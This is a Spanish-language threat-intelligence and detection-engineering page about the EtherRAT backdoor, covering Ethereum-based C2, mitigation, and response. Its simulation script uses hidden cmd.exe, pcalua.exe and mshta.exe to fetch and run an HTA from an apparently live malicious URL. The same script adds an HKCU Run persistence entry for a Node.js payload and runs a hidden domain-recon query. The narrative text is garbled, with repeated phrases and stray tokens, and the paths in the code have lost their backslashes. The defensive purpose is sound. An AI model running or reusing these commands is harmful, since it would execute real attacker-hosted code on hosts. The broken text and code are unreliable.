EtherRAT y Módulo SYS_INFO: C2 en Ethereum (EtherHiding), Selección de Objetivos, Balizas Tipo CDN

Resumen

EtherRAT es un backdoor de Node.js que resuelve sus puntos de fin de comando y control desde contratos inteligentes de Ethereum utilizando un enfoque de ‘EtherHiding’. Se mezcla con el tráfico web normal al configurar pulsos para que parezcan solicitudes benignas de CDN, mientras apunta a datos de alto valor, como billeteras de criptomonedas y credenciales en la nube. El acceso inicial comúnmente se impulsa por ingeniería social estilo ClickFix o señuelos de soporte técnico falso que desencadenan la ejecución maliciosa de HTA a través de pcalua.exe y mshta.exe.

Investigación

La Unidad de Respuesta a Amenazas de eSentire observó una cadena de carga de múltiples etapas que incluye un flujo de trabajo de descifrado AES-256-CBC, persistencia a través de un valor de registro HKCU Run, y un módulo SYS_INFO responsable de la elaboración de perfiles de host amplios. EtherRAT se comunica con múltiples proveedores públicos de RPC de Ethereum para localizar el contrato inteligente relevante, luego deriva URLs tipo CDN y los consulta para tareas y comandos de seguimiento, reforzando su disfraz de ‘tráfico legítimo’.

Mitigación

Utilice AppLocker o WDAC para bloquear o controlar estrictamente pcalua.exe y mshta.exe, y restrinja el diálogo de Windows Run a través de la Política de Grupo. Donde sea posible, limite o bloquee el acceso a la infraestructura de RPC de criptomonedas públicas conocidas y alerte sobre el uso inesperado de RPC de Ethereum desde puntos de salida que no lo requieran. Despliegue controles de punto final que puedan detectar backdoors basados en Node.js y monitoree patrones anormales de pulsos que imitan el comportamiento de obtención de CDN hacia los dominios identificados.

Respuesta

Si se detecta actividad de EtherRAT, aísle el punto final, termine el proceso en ejecución y elimine la entrada de persistencia de HKCU Run junto con cualquier artefacto colocado. Realice un barrido forense completo para confirmar que no se escenificaron cargas útiles adicionales y rote las credenciales expuestas, priorizando los secretos de billeteras de criptomonedas y las claves de servicios en la nube. Expanda la búsqueda en todo el entorno para consultar comportamientos similares de Ethereum-RPC y pulsos similares a CDN para delimitar una propagación potencial.

Ejecución de Simulación

Prerrequisito: La Verificación de Telemetría y Línea Base Previa debe haber pasado.

Racional: Esta sección detalla la ejecución precisa de la técnica del adversario (TTP) diseñada para activar la regla de detección. Los comandos y la narrativa DEBEN reflejar directamente las TTPs identificadas y apuntar a generar la telemetría exacta esperada por la lógica de detección. Ejemplos abstractos o no relacionados conducirán a un diagnóstico erróneo.

• Narrativa de Ataque y Comandos:

  1. Acceso Inicial – Instalador de ClickFix: El atacante aprovecha un instalador malicioso de ClickFix que ejecuta un cmd.exe oculto que llama a pcalua.exe.
  2. Ejecución Indirecta: pcalua.exe se instruye para lanzar mshta.exe contra un archivo HTA remoto alojado en https://www‑flow‑submission‑management.shepherdsestates.uk/shep.hta. Este script HTA carga el payload de EtherRAT.
  3. Configuración de Persistencia: El dropper agrega un valor de registro bajo Run apuntando a una cadena de ejecución de apuntando a una cadena de ejecución de , asegurando que el malware se inicie al iniciar sesión del usuario. , asegurando que el malware se inicie al iniciar sesión del usuario. → , asegurando que el malware se inicie al iniciar sesión del usuario. Reconocimiento de Dominio:
  4. En paralelo, se ejecuta una línea de comando PowerShell para leer el nombre de dominio de la máquina, señalando al atacante que el host está unido al dominio. Las tres líneas de comando se ejecutan desde un

  603c5946 cmd.exe instancia oculta, coincidiendo con la regla Sigma combinación./indicator2 or indicador1 indicador2

• indicador3 El siguiente script reproduce las líneas de comando exactas (las rutas específicas del usuario se resuelven a través de variables de entorno).

  # -------------------------------------------------------------
  # Simulación de Acceso Inicial de EtherRAT – Envoltura de PowerShell
  # -------------------------------------------------------------
  $username = $env:USERNAME
  $htaUrl = "https://www-flow-submission-management.shepherdsestates.uk/shep.hta"
  $runKeyPath = 'HKCU:SoftwareMicrosoftWindowsCurrentVersionRun'
  $runValueName = '0c939bf7ae8f'
  $conhostPath = "$env:WINDIRSystem32conhost.exe"
  $nodePath = "C:Users$usernameAppDataLocalVZM5DHxgYbxqnode.exe"
  $payloadBin = "C:Users$usernameAppDataLocalVZM5DHTlHAiIlxoF.bin"
  
  # 1. Indicador 1 – pcalua -> mshta
  $cmd1 = "C:Windowssystem32cmd.exe /min /c `"pcalua.exe -a mshta.exe -c $htaUrl`""
  Start-Process -FilePath "C:Windowssystem32cmd.exe" -ArgumentList "/min /c `"pcalua.exe -a mshta.exe -c $htaUrl`"" -WindowStyle Hidden
  
  # 2. Indicador 2 – Clave de registro Run con cadena conhost
  $regCommand = "reg add `"HKCUSoftwareMicrosoftWindowsCurrentVersionRun`" /v `"$runValueName`" /t REG_SZ /d `"$conhostPath --headless `"$nodePath`" `"$payloadBin`"`" /f"
  $cmd2 = "C:Windowssystem32cmd.exe /d /s /c `"$regCommand`""
  Start-Process -FilePath "C:Windowssystem32cmd.exe" -ArgumentList "/d /s /c `"$regCommand`"" -WindowStyle Hidden
  
  # 3. Indicador 3 – Consulta de dominio en PowerShell
  $psCommand = "powershell -NoProfile -NonInteractive -WindowStyle Hidden -Command `"(Get-WmiObject Win32_ComputerSystem).Domain`""
  $cmd3 = "C:Windowssystem32cmd.exe /d /s /c `"$psCommand`""
  Start-Process -FilePath "C:Windowssystem32cmd.exe" -ArgumentList "/d /s /c `"$psCommand`"" -WindowStyle Hidden
  
  Write-Host "`n[+] Comandos de simulación emitidos. Verifique el SIEM para alertas coincidentes."

• Comandos de Limpieza: Elimine la entrada del registro y borre cualquier archivo creado durante la simulación.

  # -------------------------------------------------------------
  # Limpieza – elimine la clave Run y los archivos temporales
  # -------------------------------------------------------------
  $runKeyPath = 'HKCU:SoftwareMicrosoftWindowsCurrentVersionRun'
  $runValueName = '0c939bf7ae8f'
  
  # Elimine el valor de la clave Run
  if (Test-Path $runKeyPath) {
      Remove-ItemProperty -Path $runKeyPath -Name $runValueName -ErrorAction SilentlyContinue
      Write-Host "[+] Valor del registro Run eliminado $runValueName"
  }
  
  # Elimine cualquier archivo residual (si se crearon)
  $paths = @(
      "$env:TEMPbenign.txt"               # de la línea base (opcional)
  )
  foreach ($p in $paths) {
      if (Test-Path $p) { Remove-Item $p -Force }
  }
  
  Write-Host "[+] Limpieza completa."